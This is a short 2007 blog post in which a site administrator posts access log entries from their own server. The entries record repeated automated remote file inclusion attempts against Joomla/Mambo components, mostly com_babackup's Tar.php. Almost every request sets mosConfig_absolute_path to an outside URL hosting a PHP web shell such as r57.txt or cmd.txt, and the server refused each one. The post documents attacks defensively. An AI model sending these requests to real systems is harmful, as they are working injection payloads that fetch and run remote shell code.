14
clockico
14:22
June '07
Administrator


0 Comments
Script kiddie log

I had thought they’d given up, but checking my logs, it appears the script kiddies have been repeatedly trying to deface dragonthoughts.com

Here are the most recent records.

212.69.210.203 - - [10/Jun/2007:21:00:39 +0100] "GET /blog/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://lifechangerscc.com//catalog/includes/cmd.txt? HTTP/1.1" 403 320 "-" "libwww-perl/5.73"
212.69.210.203 - - [10/Jun/2007:21:00:39 +0100] "GET /components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://lifechangerscc.com//catalog/includes/cmd.txt? HTTP/1.1" 403 315 "-" "libwww-perl/5.73"
88.84.133.139 - - [10/Jun/2007:23:05:28 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://alienr0x.by.ru/r57.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.803"
83.15.139.164 - - [10/Jun/2007:23:13:59 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
193.148.45.19 - - [10/Jun/2007:23:18:04 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 403 332 "-" "libwww-perl/5.79"
193.148.45.19 - - [10/Jun/2007:23:49:22 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.79"
87.106.129.54 - - [11/Jun/2007:10:28:30 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path HTTP/1.1" 410 420 "-" "192.comAgent"
87.106.129.54 - - [11/Jun/2007:10:28:31 +0100] "GET /index.php?mosConfig_absolute_path HTTP/1.1" 404 995 "-" "192.comAgent"
72.36.131.178 - - [11/Jun/2007:11:24:55 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt? HTTP/1.1" 302 395 "-" "libwww-perl/5.805"
72.36.131.178 - - [11/Jun/2007:11:24:55 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
69.65.105.48 - - [11/Jun/2007:21:49:48 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt? HTTP/1.1" 302 395 "-" "libwww-perl/5.805"
69.65.105.48 - - [11/Jun/2007:21:49:48 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
72.36.131.178 - - [11/Jun/2007:21:49:54 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt? HTTP/1.1" 302 395 "-" "libwww-perl/5.805"
72.36.131.178 - - [11/Jun/2007:21:49:55 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
87.238.162.37 - - [13/Jun/2007:19:08:42 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.yescolombia.com/error.txt? HTTP/1.1" 403 332 "-" "libwww-perl/5.79"
87.238.162.37 - - [13/Jun/2007:19:08:42 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.yescolombia.com/error.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.79"
213.248.62.104 - - [13/Jun/2007:19:13:44 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.freewebs.com/alezinn/n00gr00d.txt? HTTP/1.0" 410 420 "-" "libwww-perl/5.50"
87.118.96.254 - - [13/Jun/2007:19:45:13 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.yescolombia.com/error.txt?? HTTP/1.1" 403 332 "-" "libwww-perl/5.65"
87.118.96.254 - - [13/Jun/2007:19:45:14 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.yescolombia.com/error.txt?? HTTP/1.1" 410 420 "-" "libwww-perl/5.65"
66.55.132.33 - - [14/Jun/2007:12:39:00 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.gonfiabiligamespark.it/flash/r57.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
82.165.8.61 - - [14/Jun/2007:13:00:46 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.mulepack.net/_overlay/contactus.htm_nav_zero011_vbtn.gif? HTTP/1.1" 403 332 "-" "libwww-perl/5.76"
82.165.8.61 - - [14/Jun/2007:13:00:46 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.mulepack.net/_overlay/contactus.htm_nav_zero011_vbtn.gif? HTTP/1.1" 410 420 "-" "libwww-perl/5.76"
69.72.218.34 - - [14/Jun/2007:15:11:54 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 403 332 "-" "libwww-perl/5.805"
69.72.218.34 - - [14/Jun/2007:15:11:54 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
83.97.109.6 - - [17/Jun/2007:06:44:56 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://tiagow.us/echo.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
62.148.173.160 - - [17/Jun/2007:10:17:26 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt? HTTP/1.1" 302 395 "-" "libwww-perl/5.65"
62.148.173.160 - - [17/Jun/2007:10:17:26 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.65"
82.194.70.92 - - [17/Jun/2007:10:17:58 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt? HTTP/1.1" 302 395 "-" "libwww-perl/5.805"
82.194.70.92 - - [17/Jun/2007:10:17:58 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://sanwall.info/echo.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
85.25.30.127 - - [17/Jun/2007:12:14:21 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://theekransje.com/images/avatars/CMD.txt? HTTP/1.1" 403 332 "-" "libwww-perl/5.803"
85.25.30.127 - - [17/Jun/2007:12:14:21 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://theekransje.com/images/avatars/CMD.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.803"
65.98.41.42 - - [25/Jun/2007:09:49:39 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt?? HTTP/1.1" 302 412 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:49:39 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt?? HTTP/1.1" 302 412 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:49:39 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt?? HTTP/1.1" 302 412 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:49:40 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt%3f%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:49:42 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt%3f%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:49:42 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt%3f%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:50:01 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt?? HTTP/1.1" 302 412 "-" "libwww-perl/5.805"
65.98.41.42 - - [25/Jun/2007:09:50:01 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt%3f%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
66.225.214.176 - - [25/Jun/2007:09:59:02 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt?? HTTP/1.1" 302 412 "-" "libwww-perl/5.805"
66.225.214.176 - - [25/Jun/2007:09:59:02 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://topnlpsites.com/images/gif/echo.txt%3f%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
72.232.4.82 - - [25/Jun/2007:11:03:11 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://caixa.iespana.es/cmd.gif? HTTP/1.1" 302 398 "-" "libwww-perl/5.805"
72.232.4.82 - - [25/Jun/2007:11:03:11 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://caixa.iespana.es/cmd.gif%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
200.193.146.100 - - [25/Jun/2007:21:39:50 +0100] "GET /blog/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.datemrsrobinson.com/siteframe/classes/tmp/...bl/.../stringa.txt? HTTP/1.1" 403 318 "-" "libwww-perl/5.79"
200.193.146.100 - - [25/Jun/2007:21:39:51 +0100] "GET /components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.datemrsrobinson.com/siteframe/classes/tmp/...bl/.../stringa.txt? HTTP/1.1" 403 313 "-" "libwww-perl/5.79"
216.120.237.150 - - [26/Jun/2007:05:30:16 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.thiaguinho.net/id.txt? HTTP/1.1" 403 332 "-" "libwww-perl/5.805"
216.120.237.150 - - [26/Jun/2007:05:30:16 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.thiaguinho.net/id.txt? HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
62.75.252.19 - - [27/Jun/2007:02:39:32 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt? HTTP/1.1" 302 404 "-" "libwww-perl/5.69"
62.75.252.19 - - [27/Jun/2007:02:39:33 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.69"
81.174.32.80 - - [27/Jun/2007:02:46:11 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt? HTTP/1.1" 302 404 "-" "libwww-perl/5.803"
81.174.32.80 - - [27/Jun/2007:02:46:11 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.803"
63.246.137.120 - - [27/Jun/2007:02:53:23 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt? HTTP/1.1" 302 404 "-" "libwww-perl/5.805"
63.246.137.120 - - [27/Jun/2007:02:53:24 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.805"
212.25.170.80 - - [27/Jun/2007:09:56:43 +0100] "GET /blog//administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://r0j.org/r57.txt? HTTP/1.1" 302 394 "-" "libwww-perl/5.803"
212.25.170.80 - - [27/Jun/2007:09:56:43 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://r0j.org/r57.txt%3f HTTP/1.1" 403 332 "-" "libwww-perl/5.803"
212.25.170.80 - - [27/Jun/2007:09:56:43 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://r0j.org/r57.txt? HTTP/1.1" 302 389 "-" "libwww-perl/5.803"
212.25.170.80 - - [27/Jun/2007:09:56:43 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://r0j.org/r57.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.803"
85.214.79.63 - - [27/Jun/2007:10:30:12 +0100] "GET /blog//administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shujinko.nightmail.ru%0A%0A? HTTP/1.1" 302 414 "-" "libwww-perl/5.803"
85.214.79.63 - - [27/Jun/2007:10:30:12 +0100] "GET /blog/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shujinko.nightmail.ru%250A%250A%3f HTTP/1.1" 403 332 "-" "libwww-perl/5.803"
85.214.79.63 - - [27/Jun/2007:10:30:12 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shujinko.nightmail.ru%0A%0A? HTTP/1.1" 302 409 "-" "libwww-perl/5.803"
85.214.79.63 - - [27/Jun/2007:10:30:12 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shujinko.nightmail.ru%250A%250A%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.803"
212.25.170.80 - - [27/Jun/2007:10:35:14 +0100] "GET /blog/?p=50//administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://r0j.org/r57.txt? HTTP/1.1" 403 279 "-" "libwww-perl/5.803"
85.214.79.63 - - [27/Jun/2007:10:55:11 +0100] "GET /blog/?p=50//administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shujinko.nightmail.ru%0A%0A? HTTP/1.1" 403 279 "-" "libwww-perl/5.803"
89.255.60.45 - - [27/Jun/2007:10:56:46 +0100] "GET //administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt? HTTP/1.1" 302 404 "-" "libwww-perl/5.79"
89.255.60.45 - - [27/Jun/2007:10:56:46 +0100] "GET /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://www.shulgin.com/images/f22.txt%3f HTTP/1.1" 410 420 "-" "libwww-perl/5.79"



 
RSS feed for comments on this post.
TrackBack URL


Write a comment

You need tologin.